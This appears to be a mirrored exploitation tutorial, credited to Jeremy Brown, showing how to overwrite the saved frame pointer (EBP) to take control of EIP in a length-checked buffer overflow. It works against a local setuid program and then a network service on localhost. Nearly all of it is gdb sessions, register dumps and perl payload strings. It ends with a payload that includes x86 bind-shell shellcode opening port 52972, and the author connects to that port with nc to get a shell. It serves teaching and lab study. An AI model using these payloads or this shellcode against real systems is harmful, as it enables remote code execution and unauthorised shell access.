This paper assumes you have read the proper background information and/or technical details about the above subject. If not, please do so, because this read does not include key concepts but instead technical exploitation examples. That being said, enjoy. Knowledge is power.
Credit:
The information has been provided by Jeremy Brown.
This program is vulnerable to a buffer overflow. But, there are conditions.
With our environment in consideration, we need at least 16 bytes over the buffer size to overwrite the EIP. But this program only allows us to fill the buffer with around 1036 bytes. If we go over 1036 bytes, it will tell us "Protection Enabled" and goto die(), which will end our program.
Now that you know what we're working with, lets see what we can do.
bugs@linux:~$ ./fpo
usage: ./fpo data
bugs@linux:~$ su
Password:
root@linux:/home/bugs# chown root:root fpo && chmod 4755 fpo
root@linux:/home/bugs# exit
exit
bugs@linux:~$ ls -alh fpo
-rwsr-xr-x 1 root root 8.4K 2008-11-27 03:12 fpo*
bugs@linux:~$ gdb fpo
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80484df
(gdb) disas vuln
Dump of assembler code for function vuln:
0x08048464 <vuln+0>: push %ebp
0x08048465 <vuln+1>: mov %esp,%ebp
0x08048467 <vuln+3>: sub $0x428,%esp
0x0804846d <vuln+9>: movl $0x0,0xfffffbe4(%ebp)
0x08048477 <vuln+19>: sub $0x4,%esp
0x0804847a <vuln+22>: push $0x400
0x0804847f <vuln+27>: push $0x0
0x08048481 <vuln+29>: lea 0xfffffbf8(%ebp),%eax
0x08048487 <vuln+35>: push %eax
0x08048488 <vuln+36>: call 0x8048358 <memset@plt>
0x0804848d <vuln+41>: add $0x10,%esp
0x08048490 <vuln+44>: sub $0xc,%esp
0x08048493 <vuln+47>: pushl 0x8(%ebp)
0x08048496 <vuln+50>: call 0x8048318 <strlen@plt>
0x0804849b <vuln+55>: add $0x10,%esp
0x0804849e <vuln+58>: cmp $0x40c,%eax
0x080484a3 <vuln+63>: ja 0x80484d2 <vuln+110>
0x080484a5 <vuln+65>: mov 0x8(%ebp),%eax
0x080484a8 <vuln+68>: cmpb $0x0,(%eax)
0x080484ab <vuln+71>: je 0x80484d7 <vuln+115>
0x080484ad <vuln+73>: mov 0xfffffbe4(%ebp),%eax
0x080484b3 <vuln+79>: lea 0xfffffff8(%ebp),%edx
0x080484b6 <vuln+82>: add %edx,%eax
0x080484b8 <vuln+84>: lea 0xfffffc00(%eax),%edx
0x080484be <vuln+90>: mov 0x8(%ebp),%eax
0x080484c1 <vuln+93>: incl 0x8(%ebp)
0x080484c4 <vuln+96>: mov (%eax),%al
0x080484c6 <vuln+98>: mov %al,(%edx)
0x080484c8 <vuln+100>: lea 0xfffffbe4(%ebp),%eax
0x080484ce <vuln+106>: incl (%eax)
0x080484d0 <vuln+108>: jmp 0x80484a5 <vuln+65>
0x080484d2 <vuln+110>: call 0x8048444 <die>
0x080484d7 <vuln+115>: leave
0x080484d8 <vuln+116>: ret
End of assembler dump.
(gdb) break *vuln+115
Breakpoint 2 at 0x80484d7
(gdb) r `perl -e 'print "A" x 1040'`
Starting program: /home/bugs/fpo `perl -e 'print "A" x 1040'`
Breakpoint 1, 0x080484df in main ()
(gdb) c
Continuing.
Protection Enabled!
Program exited normally.
(gdb) r `perl -e 'print "A" x 1036'`
Starting program: /home/bugs/fpo `perl -e 'print "A" x 1036'`
Breakpoint 1, 0x080484df in main ()
(gdb) x/x $ebp
0xbffff0c8: 0xbffff0e8
Program received signal SIGSEGV, Segmentation fault.
0x0804852c in main ()
(gdb) i r
eax 0xbffff65b -1073744293
ecx 0x414141 4276545
edx 0xbffff09b -1073745765
ebx 0x4015bff0 1075167216
esp 0xbffff0b0 0xbffff0b0
ebp 0x41414141 0x41414141
esi 0xbffff120 -1073745632
edi 0x2 2
eip 0x804852c 0x804852c <main+83>
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
We can overflow the buffer, but not enough to overwrite the EIP because of the 'protection' code. But sometimes control of the EBP leads to control over the EIP as well.
So let's put our information together and see if we can smash this stack.
*Filler doesn't matter much, possibly helpful sometimes; increase target eip count if you don't want to use it*
Total size of payload: 1036 bytes
(gdb) r `perl -e 'print "A" x 8 . "\xe8\xf0\xff\xbf" . "\x8b\x72\x04\x40" . "\x41\x41\x41\x41" x 254 . "\x90\xec\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bugs/fpo `perl -e 'print "A" x 8 . "\xe8\xf0\xff\xbf" . "\x8b\x72\x04\x40" . "\x41\x41\x41\x41" x 254 . "\x90\xec\xff\xbf"'`
Breakpoint 1, 0x080484df in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x080484d7 in vuln ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbfffec 12582892
edx 0xbffff09b -1073745765
ebx 0x4015bff0 1075167216
esp 0xbfffec98 0xbfffec98
ebp 0x41414141 0x41414141
esi 0xbffff120 -1073745632
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
As you can see, we have now overwritten the both the EBP and the EIP.
bugs@linux:~$ gcc -o fposerv fposerv.c
bugs@linux:~$ ./fposerv
Usage: ./fposerv port
bugs@linux:~$ gdb fposerv
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
Breakpoint 2, 0x0804866b in vuln ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048825 in readsock ()
(gdb) i r
eax 0xbffff05c -1073745828
ecx 0x0 0
edx 0xbfffec3b -1073746885
ebx 0x4015bff0 1075167216
esp 0xbfffec44 0xbfffec44
ebp 0x41424344 0x41424344
esi 0xbffff520 -1073744608
edi 0x2 2
eip 0x8048825 0x8048825 <readsock+83>
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/12x $esp
0xbfffec44: 0x00000007 0x00000800 0x00000000 0x41424344
0xbfffec54: 0x41424344 0x41424344 0x41424344 0x41424344
0xbfffec64: 0x41424344 0x41424344 0x41424344 0x41424344
(gdb) x/x 0xbfffec50
0xbfffec50: 0x41424344
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) r 5555
Starting program: /home/bugs/fposerv 5555
Breakpoint 1, 0x08048673 in main ()
(gdb) c
Continuing.
[Terminal #2]
bugs@linux:~$ perl -e 'print "A" x 8 . "\xe8\xf4\xff\xbf" . "\x8b\x72\x04\x40" . "\x44\x43\x42\x41" x 254 . "\x50\xec\xff\xbf"' | nc localhost 5555
[Terminal #1]
Breakpoint 2, 0x0804866b in vuln ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/x 0xbfffec50
0xbfffec50: 0x41414141
(gdb) x/x 0xbfffec60
0xbfffec60: 0x41424344
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) r 5555
Starting program: /home/bugs/fposerv 5555
Breakpoint 1, 0x08048673 in main ()
(gdb) c
Continuing.
[Terminal #2]
bugs@linux:~$ perl -e 'print "A" x 8 . "\xe8\xf4\xff\xbf" . "\x8b\x72\x04\x40" . "\x44\x43\x42\x41" x 254 . "\x60\xec\xff\xbf"' | nc localhost 5555
[Terminal #1]
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
bugs@linux:~$ perl -e 'print "A" x 8 . "\xe8\xf4\xff\xbf" . "\x8b\x72\x04\x40" . "\x08\xee\xff\xbf" x 33 . "\x90" x 800 . "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x60\xec\xff\xbf"' | nc localhost 5555
[CRTL+C]
bugs@linux:~$ netstat -antp | grep 52972
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN 7089/fposerv
bugs@linux:~$ nc localhost 52972
[Terminal #1]
Program received signal SIGTRAP, Trace/breakpoint trap.
0x400007b0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
[Terminal #2]
id
uid=1000(bugs) gid=100(users) groups=100(users)
exit
bugs@linux:~$